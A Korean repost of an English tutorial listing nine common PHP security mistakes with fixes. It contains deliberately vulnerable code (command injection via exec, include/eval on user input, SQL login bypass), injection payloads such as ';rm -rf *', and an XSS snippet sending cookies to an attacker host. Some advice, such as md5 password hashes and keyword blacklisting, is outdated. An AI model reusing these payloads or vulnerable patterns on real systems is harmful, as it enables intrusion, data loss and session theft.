분류 php

상위 9 PHP 보안 실수

컨텐츠 정보

  • 조회 576 (작성일 )

본문

PHP는 MySQL 데이터베이스와 함께 동적 및 대화형 웹 사이트 및 웹 응용 프로그램을 개발하기 위한 이상적인 프로그래밍 언어 플랫폼입니다. 특히 Linux 운영 체제에서 사용하기 쉽고 배포하기 쉽고 강력한 프로그래밍 언어 플랫폼입니다. 오늘날 웹에서 보는 웹사이트의 80%가 이 플랫폼에서 구축되었습니다. PHP는 웹 기반 응용 프로그램을 구축할 때 엄청난 기능을 가지고 있으며 JAVA를 능가합니다. 전자 상거래 및 ERP 시스템과 같은 대부분의 미션 크리티컬 애플리케이션도 이제 PHP 및 MySQL 플랫폼을 기반으로 구축됩니다.


그러나 다른 프로그래밍 플랫폼과 마찬가지로 PHP도 보안 허점에서 자유롭지 않습니다. 경험이 적은 프로그래머는 웹 프로그램에 무의식적으로 보안 허점을 도입하여 해커가 침투할 수 있는 진입점을 생성할 수 있습니다. 웹사이트 개발자는 PHP 기반 웹사이트를 구축하는 동안 특정 예방 조치를 취하고 보안을 위해 의식적으로 보안을 설계해야 합니다. 구멍을 뚫고 안전한 웹 애플리케이션을 구축하십시오.


이 기사에서는 PHP 개발자가 범하는 몇 가지 일반적인 보안 실수를 다룰 것입니다. 각 실수가 어떻게 보안 취약성을 유발하는지 보여주고 그러한 실수를 피하고 웹 사이트를 안전하게 만드는 방법도 설명합니다. 이러한 중요한 보안 측면을 고려하면 PHP로 매우 안전한 애플리케이션을 구축할 수 있습니다.


1. 게으른 프로그래머는 변화를 원하지 않는다 


항상 최신 버전의 PHP 사용 


훌륭한 개발자를 위한 가장 기본적인 경험 법칙은 항상 최신 소프트웨어 릴리스에서 작업하는 것입니다. 새 릴리스는 이전 릴리스의 알려진 버그와 취약성을 처리하고 프로그래밍 환경을 보다 안전하게 만들어 실수 가능성을 줄입니다. 예를 들어, PHP의 최신 릴리스에서는 magic_quotes_gpc가 비활성화되었습니다. 이것은 SQL 인젝션 익스플로잇의 주요 소스였습니다. 따라서 안전의 첫 번째 규칙은 새 버전이 도착하는 즉시 PHP를 업그레이드하고 새 버전에 맞게 코드를 조정하는 것입니다. 이것은 현명한 프로그래머가 간과해서는 안되는 지속적인 프로세스입니다.


2. 잘못된 PHP 구성 


보안을 위해 PHP 구성 


잘못된 PHP 구성은 공격자의 이점을 증가시켜 웹사이트를 취약하게 만들 수 있습니다. PHP 설치에서 제공되는 기본 php.ini 구성 설정은 그다지 안전하지 않을 수 있습니다. 특히 웹사이트가 공유 서버에서 호스팅되는 경우 호스팅 공급자는 더 많은 청중을 수용하기 위해 이전 버전과의 호환성과 더 큰 유연성을 허용하도록 시스템을 느슨하게 구성할 수 있습니다. 고유한 특정 구성 변경 사항을 도입하고 공격자가 오용하기 쉬운 특정 PHP 기능을 사용하지 않는 것이 중요합니다. 거의 모든 호스팅 제공업체는 호스팅 계정에 php.ini 사본을 보관할 수 있도록 허용합니다.


사용자 정의 php.ini 파일은 어디에 있어야 합니까? 


자신의 php.ini 파일 사본은 다음 위치에 있어야 합니다.


  • cPanel:/home/your-cpanel-username/php.ini
  • Plesk:/var/www/vhost/your-domain-name/etc/php.ini

phpinfo() 함수를 호출하여 php.ini 변수를 나열하고 안전하지 않은 설정에 대한 기본값을 검토하는 페이지를 만들 수 있습니다. 이 페이지를 제한된 장소에 보관하고 공개 액세스를 허용하지 마십시오. phpinfo()의 출력에는 해커가 시스템의 취약점을 파악하는 데 유용할 수 있는 정보가 포함되어 있습니다.


다음은 자신의 php.ini 파일에 있어야 하는 항목입니다.

display_errors = Off
display_startup_errors = Off
html_errors = Off
disable_functions="exec,system,passthru,readfile,shell_exec,escapeshellarg,
                   escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,
                   parse_ini_file,show_source"
expose_php = Off
register_globals = Off
register_long_arrays = Off
register_argc_argv = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
allow_url_fopen = Off
allow_url_include = Off


위 지시문에 대한 설명 


display_errors: 이 지시문을 Off로 설정하면 스크립트 실행 중에 발생하는 오류가 스크립트 출력의 일부로 표시되지 않으므로 원격 사용자에게 노출되지 않습니다. 일부 오류의 경우 오류 메시지 내용이 해킹에 악용될 수 있는 스크립트, 웹 서버 또는 데이터베이스 서버에 대한 정보를 노출할 수 있습니다. 프로덕션 사이트에서는 이 지시문을 Off로 설정해야 합니다.

display_startup_errors: 이 지시문을 Off로 설정하면 PHP 시작 시퀀스 중에 발생하는 오류가 표시되지 않습니다. 이 지시문을 Off로 유지하는 것이 좋습니다.

html_errors: 오류 메시지에 HTML 태그 포함을 비활성화합니다. On으로 설정하면 오류 메시지가 오류가 포함된 코드 섹션에 대한 링크와 함께 표시되어 PHP 소스 코드가 노출되므로 프로덕션 배포에서 이 기능을 사용하지 마십시오.

disable_functions: 이 지시문을 사용하면 보안상의 이유로 특정 기능을 비활성화할 수 있습니다. 쉼표로 구분된 함수 이름 목록을 받습니다.

Exposure_php: PHP가 웹 서버 헤더에 서명을 추가하여 PHP가 서버에 설치되었다는 사실을 노출할 수 있는지 여부를 결정합니다. 실제 보안 위협이 아닙니다. 그러나 서버에서 PHP를 사용하는지 여부를 결정할 수 있습니다. 꺼져 있으면 유지하는 것이 좋습니다.

register_globals: register_globals가 On일 필요가 없도록 스크립트를 작성하기 위해 최선을 다해야 합니다. 코드를 잘 고려하지 않으면 양식 변수를 전역으로 사용하면 보안 문제가 쉽게 발생할 수 있습니다.

register_long_arrays: 더 오래된(더 이상 사용되지 않는) 미리 정의된 긴 배열 변수(HTTP_GET_VARS 등)의 등록을 비활성화합니다. 대신 PHP 4.1.0에 도입된 슈퍼글로벌을 사용하십시오. 이 기능을 비활성화하면 성능 향상에도 도움이 됩니다.

register_argc_argv: 이 지시문은 argv 및 argc 변수(GET 정보가 포함됨)를 선언할지 여부를 PHP에 알려줍니다. 이러한 변수를 사용하지 않는 경우 성능 및 보안 향상을 위해 꺼야 합니다.

magic_quotes_gpc: 들어오는 GET/POST/Cookie 데이터에 대한 마법의 따옴표를 나타냅니다. 이것을 비활성화하면 SQL 데이터베이스로 보내기 전에 입력 데이터가 자동으로 슬래시로 이스케이프되지 않습니다. 대신 데이터베이스에 보내려는 각 입력 요소에 대해 데이터베이스 공급업체별 이스케이프 문자열 기능을 사용해야 합니다.

magic_quotes_runtime: 런타임 생성 데이터에 대한 매직 따옴표, 예: SQL, exec() 등의 데이터

magic_quotes_sybase: Sybase 스타일의 마법 따옴표를 사용합니다(\' 대신 ''로 ' 이스케이프).

allow_url_fopen: URL(예: http:// 또는 ftp://)을 파일로 처리하도록 허용할지 여부.

allow_url_include: URL(예: http:// 또는 ftp://)을 파일로 열기 위해 포함/요구를 허용할지 여부.


위의 지시문 중 일부는 앞으로 읽으면서 더 자세히 설명됩니다.


3. Un-validated user inputs 


모든 사용자 입력을 검증해야 함 


일반적인 PHP 보안 결함은 양식을 통해 또는 URL 문자열의 인수로 제출된 사용자 입력의 유효성을 검사하지 않는다는 것입니다. 사용자와 사이트 방문자가 온라인 양식으로 제공하는 데이터를 절대 신뢰해서는 안 됩니다. 다른 직업을 계속 손상시키려고 시도하는 것 외에 다른 직업이 없는 인터넷에 앉아 있는 많은 사람들이 있습니다. 검증되지 않았거나 부적절하게 검증된 입력은 많은 익스플로잇의 근본 원인 중 하나입니다.


예를 들어 Linux/Unix cal 명령을 호출하여 사용자가 지정된 월을 표시하는 달력을 볼 수 있도록 다음 코드를 작성할 수 있습니다.


$month = $_GET['month']; 
$year = $_GET['year']; 
exec("cal $month $year", $result); 
foreach($result as $r) print "$r"; 


$_GET[month] 및 $_GET[year] 변수는 어떤 식으로든 유효성이 검사되지 않기 때문에 이 코드에는 큰 보안 허점이 있습니다. 지정된 월이 1에서 12 사이의 숫자이고 연도가 적절한 4자리 연도로 제공되는 한 응용 프로그램이 완벽하게 작동합니다. 그러나 악의적인 사용자는 연도 값에 ;ls –la를 추가하여 웹사이트 디렉토리 목록을 볼 수 있습니다. 극도로 악의적인 사용자는 연도 값에 ;rm -rf *를 추가하고 전체 웹사이트 파일을 삭제할 수 있습니다.


이를 수정하는 적절한 방법은 사용자로부터 받은 입력이 예상한 것과 일치하는지 확인하는 것입니다. 이를 위해 JavaScript 유효성 검사를 사용하지 마십시오. 이러한 유효성 검사 방법은 자신의 양식을 만들거나 javascript를 비활성화하는 악용자가 쉽게 해결할 수 있습니다. 아래와 같이 월 및 연도 입력이 숫자이고 숫자로만 구성되도록 PHP 코드를 추가해야 합니다.


$month = $_GET['month']; 
$year = $_GET['year']; 
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter."); 
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter."); 
exec("cal $month $year", $result); 
foreach ($result as $r) print "$r";  


이 코드는 사용자가 응용 프로그램이나 응용 프로그램을 실행하는 서버를 손상시킬 수 있는 입력을 제공할 수 있다는 우려 없이 안전하게 사용할 수 있습니다. 정규식은 입력 유효성 검사를 위한 훌륭한 도구입니다. 이해하기 어려울 수 있지만 이러한 유형의 상황에서는 매우 유용합니다. 항상 예상 데이터 이외의 것을 거부하여 사용자 제공 데이터의 유효성을 검사해야 합니다. 유해한 것으로 알고 있는 데이터를 제외한 모든 것을 수락하는 접근 방식을 사용하지 마십시오. 이는 보안 결함의 일반적인 원인입니다. 때로는 악의적인 사용자가 잘못된 입력을 포함하지만 null 문자로 모호하게 하여 이 방법론을 우회할 수 있습니다. 이러한 입력은 검사를 통과하지만 여전히 해로운 영향을 미칠 수 있습니다.


양식 입력의 유효성을 검사할 때는 가능한 한 제한적이어야 합니다. 일부 문자를 포함할 필요가 없으면 제거하거나 입력을 완전히 거부해야 합니다. 더 나은 접근 방식은 exec와 같은 취약한 PHP 기능을 사용하지 않는 것입니다. 

다음은 php.ini 파일의 항목으로 비활성화되어야 하는 취약한 PHP 기능 목록입니다. 

exec, 

system, 

passthru, 

readfile, 

shell_exec, 

escapeshellarg, 

escapeshellcmd, 

proc_close, 

proc_open, 

ini_alter, 

dl, 

popen, 

parse_ini_file, 

show_source.


4. 액세스 제어 결함 


접근 제어 취약점은 PHP만 있는 것이 아니라 모든 프로그래밍 언어로 개발된 웹사이트에 도입될 수 있습니다. 모든 웹 사이트 또는 웹 응용 프로그램은 고유한 기능, 클래스 및 구성 매개변수를 포함할 수 있는 일반적으로 포함된 여러 파일을 사용합니다. 일부 구성 파일에는 데이터베이스 액세스 암호와 같은 취약한 데이터가 포함될 수도 있습니다. 이러한 일반적으로 포함된 파일은 전 세계에 대한 액세스가 제한된 디렉토리 아래에 보관해야 합니다.


URL로 직접 접근할 수 없는 이러한 모든 취약한 파일을 별도의 디렉터리에 배치하고 적절한 .htaccess 파일로 이 디렉터리를 보호할 수 있습니다. .htaccess 파일에는 모든 항목이 거부되어야 합니다.


구성 파일을 웹에서 액세스할 수 있는 디렉토리 외부에 배치하여 애플리케이션을 더욱 강화하십시오. 공개적으로 액세스할 수 있는 웹 페이지 파일에 이러한 파일을 포함하려면 PHP include 지시문을 사용하십시오. 항상 절대 경로를 사용하여 포함합니다. URL 포함을 비활성화합니다.


php.ini 파일의 다음 항목은 다음을 포함하는 url을 비활성화합니다.


allow_url_fopen = Off
allow_url_include = Off 


다음은 권장되는 디렉토리 구조입니다. 모든 함수 라이브러리, 클래스 및 구성 파일은 포함 디렉토리에 보관할 수 있습니다. 이러한 포함 파일의 이름은 항상 .php 확장자로 지정하여 모든 보호 기능을 우회하더라도 웹 서버가 PHP 코드를 구문 분석하여 사용자에게 표시하지 않도록 합니다. public_html 디렉토리와 그 아래의 모든 디렉토리와 하위 디렉토리는 URL에서 직접 파일에 액세스할 수 있는 유일한 디렉토리입니다.


/home 
 /website_base_directory 
   /secret
      baseconfig.php (your passwords and usernames can be in this file)
   /public_html 
      .htaccess
      index.php 
      page1.php
      page2.php
      /images
         index.php
         img1.gif
         img2.gif
         img3.gif
      /includes 
         .htaccess 
         common_functions.php 
         config.php 
         /classes
           class1.php
           class2.php 
           class3.php
           class4.php 


또한 Apache 디렉토리 인덱스를 index.php로 설정하고 URL로 액세스할 수 있는 모든 디렉토리에 index.php 파일을 보관해야 합니다. 이미지 디렉토리 또는 이와 유사한 디렉토리와 같이 디렉토리를 탐색할 수 없는 경우 기본 페이지로 리디렉션하도록 설정하십시오.


5. 원격 코드 실행 


가장 널리 퍼진 PHP 보안 문제는 주로 파일 시스템 호출을 통한 원격 코드 실행입니다. 이 문제의 근본 원인은 require, include, fopen() 등과 같은 동적 파일 시스템 호출 이전에 사용자 입력에 대한 유효성 검사가 충분하지 않기 때문입니다.


다음과 같은 코드 구성을 피하십시오.


$report = $_POST['report_name'];
include $report;


또는


$username = $_POST['username'];
eval("echo $username"); 


include, require, fopen(), fsockopen(), file_get_contents() 및 eval() 문과 같은 파일 작업에 대한 기존 코드를 검토하여 사용자 입력 데이터가 처음 사용하기 전에 적절하게 검증되었는지 확인합니다. 직접 또는 래퍼를 통해 취약한 기능에 대한 사용자의 동적 입력 사용을 제한하십시오. popen(), system() 및 `(역따옴표 연산자)와 같은 직접 명령 실행 기능을 사용하면 공격자가 시스템에서 원격으로 코드를 실행할 수 있습니다. 최상의 프로그래밍 방법으로 이러한 함수는 절대 사용해서는 안 됩니다.


6. SQL 인젝션 취약점 


SQL 인젝션은 웹 애플리케이션에 대한 가장 오래된 공격 중 하나입니다. 그들은 데이터베이스 쿼리의 악용을 허용하며 종종 입력 데이터 유효성 검사 결함의 결과입니다.


예를 들어, 사용자로부터 사용자 ID와 비밀번호를 수집하고 아래와 같이 데이터베이스 쿼리를 사용하여 사용자를 인증하는 PHP 코드가 있을 수 있습니다.


$userid   = $_GET['userid'];
$password = $_GET['pwd'];

$link  = mysqli_connect($sqlHost,$sqlId,$sqlPass,$sqlDb);
mysqli_select_db($link,$sqlDb);
$query = "SELECT * FROM users WHERE USR_ID='$userid' AND PWD='$password'";
$show  = mysqli_query($link,$query);
while($row = @mysqli_fetch_object($show)) 
{
	...
}


사용자가 암호 값을 ' 또는 '1로 제공하면 어떻게 됩니까? 그러면 sql 쿼리가 다음과 같이 실행됩니다.


$query = "SELECT * FROM users WHERE USR_ID='a-valid-userid' AND PWD='' OR '1'";


이렇게 하면 암호를 확인하지 않고 사용자 레코드를 가져오므로 악의적인 사용자가 유효한 사용자로 애플리케이션에 들어갈 수 있습니다. 이 취약점을 방지하려면 사용자가 제출한 값에서 작은따옴표(')와 같은 위험한 문자를 이스케이프해야 합니다. 이를 수행하는 가장 간단한 방법은 아래와 같이 PHP의 addslashes() 함수를 사용하는 것입니다.


$userid   = addslashes($_GET['userid']);
$password = addslashes($_GET['pwd']);


이것은 의미합니다 -


$query = "SELECT * FROM users WHERE USR_ID='a-valid-userid' AND PWD='\' OR \'1'";


더 나은 방법은 사용자 ID 및 암호 필드에 작은 따옴표 문자를 사용하지 못하도록 하고 백엔드 양식 제출 프로세서에 적절한 코드를 도입하여 데이터베이스 쿼리에 값을 전달하기 전에 작은 따옴표 문자의 존재를 제거하는 것입니다.


이것은 SQL 주입의 한 예일 뿐입니다. 공격자가 쿼리 문자열을 삽입하여 민감한 테이블 레코드를 출력할 수 있는 방법은 여러 가지가 있습니다. 항상 사용자가 제공한 데이터에 ' " , ; ( )와 같은 위험한 문자와 concat(, database (), information _schema와 같은 위험한 단어가 있는지 확인해야 합니다. 이러한 문자와 단어는 SQL 삽입 공격에 자주 사용됩니다. 따라서 불필요하고 존재하지 않을 것으로 예상되는 사용자 입력에서 제거하면 이러한 유형의 공격에 대해 걱정할 필요가 훨씬 줄어듭니다.


시간이 지남에 따라 SQL 주입을 방지하기 위해 많은 기술이 발전했습니다. 아래는 중요한 것들입니다.


  • SQL 쿼리 내에서 사용하기 전에 올바른 유형, 길이 및 구문에 대한 입력 데이터의 유효성을 검사하십시오. 블랙 리스팅보다 항상 화이트 리스팅(즉, 긍정적 검증) 데이터를 선호합니다. 후자는 빠르게 구식이 되고 지능형 공격으로부터 보호하지 못하는 알려진 바이러스 패턴을 사용합니다.
  • 동적 테이블 이름을 사용하지 마십시오. 탈출 기능은 이 용도로 설계되지 않았으며 이 용도에 안전하지 않습니다.
  • PDO DB를 사용합니다. PDO에는 SQL 주입 공격을 방지하는 안전한 SQL 인터페이스가 있습니다.
  • MySQL 대신 더 안전한 MySQLi를 사용하거나 PEAR::DB의 매개변수화된 명령문을 사용하십시오.
  • 최소한 addlashes() 대신 mysql_real_escape_string() 함수를 사용하십시오. 후자는 충분하지 않기 때문입니다.
  • php.ini 파일에서 register_globals 및 magic_quotes가 Off로 설정되어 있는지 확인하십시오.
  • SQL 주입에 대해 철저하게 애플리케이션을 테스트하십시오.
  • 항상 최신 버전의 PHP를 사용하십시오.


7. 세션 ID 취약점 


세션 ID 하이재킹은 PHP 기반 웹사이트에 보안 문제를 일으킬 수 있습니다. PHP의 세션 추적 구성 요소는 각 사용자의 세션에 대해 고유한 ID를 사용합니다. 공격자는 일반적으로 이 ID에 대한 액세스 권한을 얻고 사용자의 세션을 하이재킹하여 사용자 계정에 대한 액세스 권한을 얻습니다. 세션 ID 하이재킹을 완전히 방지할 수는 없지만 특정 관행은 심각한 손상으로부터 시스템을 보호하는 데 도움이 될 수 있습니다.


예를 들어 사용자의 유효성을 검사하고 세션 ID를 할당한 후에도 사용자가 비밀번호 변경과 같은 민감한 작업을 수행할 때 해당 사용자의 유효성을 다시 확인해야 합니다. 세션이 검증된 사용자가 이전 암호를 입력하지 않고 새 암호를 입력하도록 허용하지 마십시오. 또한 세션 ID로만 확인된 사용자에게 신용 카드 번호와 같은 매우 민감한 데이터를 표시하지 않아야 합니다.


또 다른 보호 조치는 사용자가 로그인한 후 새 세션 ID를 생성하는 것입니다. 일반적으로 로그인하지 않은 사용자가 귀하의 웹사이트를 볼 때 세션 ID가 이미 할당되어 있습니다. 하이재킹 사용자는 일반적으로 로그인 전에 세션 ID를 설정하려고 합니다. 로그인 성공 후 새로운 세션 ID를 할당하면 이를 방지할 수 있습니다. 임의의 ID는 session_regenerate_id() 함수 또는 고유한 임의의 ID 작성자를 사용하여 생성할 수 있습니다.


사이트에서 신용 카드 번호와 같은 중요한 정보를 처리하는 경우 항상 SSL 연결을 사용하여 사용자의 브라우저와 웹 사이트 서버 간에 데이터를 전송하십시오. 암호화로 인해 세션 ID를 스니핑할 수 없으므로 세션 하이재킹을 방지하는 데 도움이 됩니다.


모든 세션 변수는 일반적으로 웹 서버의 덜 보호된 임시 디렉토리에 저장되는 임시 파일(세션 파일이라고 함)에 저장됩니다. 웹사이트가 공유 서버에 있는 경우 동일한 서버의 다른 계정 소유자가 세션 파일(및 이에 따른 세션 변수)을 가져올 가능성이 큽니다. 이러한 위험으로부터 보호하려면 모든 민감한 데이터를 세션 변수로 저장하는 대신 세션 ID에 대한 키가 지정된 데이터베이스 레코드에 저장하십시오. 세션 변수에 암호를 저장해야 하는 경우 암호를 일반 텍스트로 저장하지 마십시오. 대신 md5() 함수를 사용하여 암호 해시를 저장합니다.


8. 크로스 사이트 스크립팅 공격 


크로스 사이트 스크립팅 공격(XSS 공격으로 알려짐)에서 공격자는 자바스크립트 코드와 같은 클라이언트 측 스크립트를 데이터에 삽입하여 결국 다른 사이트 방문자의 브라우저에서 실행됩니다. 예를 들어, 귀하의 웹사이트에 사이트 방문자가 다른 사람이 읽을 수 있도록 댓글을 게시할 수 있는 블로그 섹션이 있는 경우 공격자(진정한 독자로 가장하여)는 <script> 태그에 포함된 자바스크립트 코드를 포함할 수 있는 댓글을 게시할 수 있습니다. 아래 그림과 같이.


<script>
  document.location = 'http://www.hackerssite.com/cookie.php?' + document.cookie; 
</script>


제대로 처리되지 않으면 이 포함된 스크립트가 주석이 달린 콘텐츠의 일부로 주석 데이터베이스 테이블에 저장됩니다. 결국 블로그 댓글 페이지에 표시됩니다. 포함된 스크립트는 주석이 표시될 때 숨겨진 상태로 유지됩니다. 그러나 독자가 페이지를 열 때마다 공격자가 제어하는 ​​사이트로 페이지를 다시 로드하고 피해자 방문자의 쿠키와 세션 정보를 공격자의 서버에 전달한 다음 아무 일도 없었던 것처럼 댓글 페이지를 다시 로드합니다. 따라서 공격자는 다른 사이트 방문자의 쿠키 및 세션 정보를 수집하고 이 데이터를 세션 하이재킹 또는 사이트에 대한 기타 공격에 사용할 수 있습니다.


이러한 유형의 공격을 방지하려면 사용자가 제출한 콘텐츠가 유효성 검사 없이 그대로 표시되지 않도록 주의해야 합니다. <script> 삽입을 방지하는 한 가지 방법은 html 구문을 구성하는 문자(특히 < 및 >와 같은 문자)를 해당 html 문자 엔터티(< 및 >)로 이스케이프하여 제출된 데이터가 일반 텍스트로 처리되도록 하는 것입니다. 표시 목적. 이를 위해 PHP의 htmlspecialchars() 함수를 사용할 수 있습니다. 더 나은 방법은 제출 단계 자체에서 이러한 메시지 제출을 확인하고 허용되지 않는 문자가 포함된 콘텐츠를 수락하지 않는 것입니다. preg_match를 사용하여 <script>와 같은 유해한 태그가 포함되어 있는지 확인하고 제거하거나 그러한 제출을 허용하지 않을 수 있습니다.


9. PHP 소스 코드의 우발적 노출 


개발자는 코드를 크게 변경할 때마다 오래된 PHP 파일의 복사본을 .bak 또는 .old 또는 .php_old 확장자로 저장하는 경향이 있습니다. 이것은 매우 위험한 방법이며 백업된 코드를 노출시킬 수 있습니다.


.php 이외의 파일 이름에 확장자를 추가하여 웹에 노출된 디렉토리에 있는 php 파일을 백업하지 마십시오. 사용하는 웹 서버에 따라 파일의 PHP 코드는 웹 서버에서 구문 분석되지 않으며 백업 파일의 URL을 우연히 발견한 사용자에게 소스로 출력될 수 있습니다. 해당 파일에 암호나 기타 민감한 정보가 포함된 경우 해당 정보를 읽을 수 있습니다. 웹사이트를 인덱싱하는 동안 검색 엔진 봇이 우연히 발견한 경우 Google 및 기타 검색 엔진에 의해 인덱싱될 수도 있습니다. .bak.php 확장자를 갖도록 파일 이름을 바꾸는 것이 더 안전합니다. 가장 좋은 방법은 더 이상 사용하지 않는 파일을 서버에 저장하지 않는 것입니다. 로컬 오프라인 하드 디스크에 보관하십시오.


출처 : https://www.how2lab.com/internet/security/php-security-blunders.php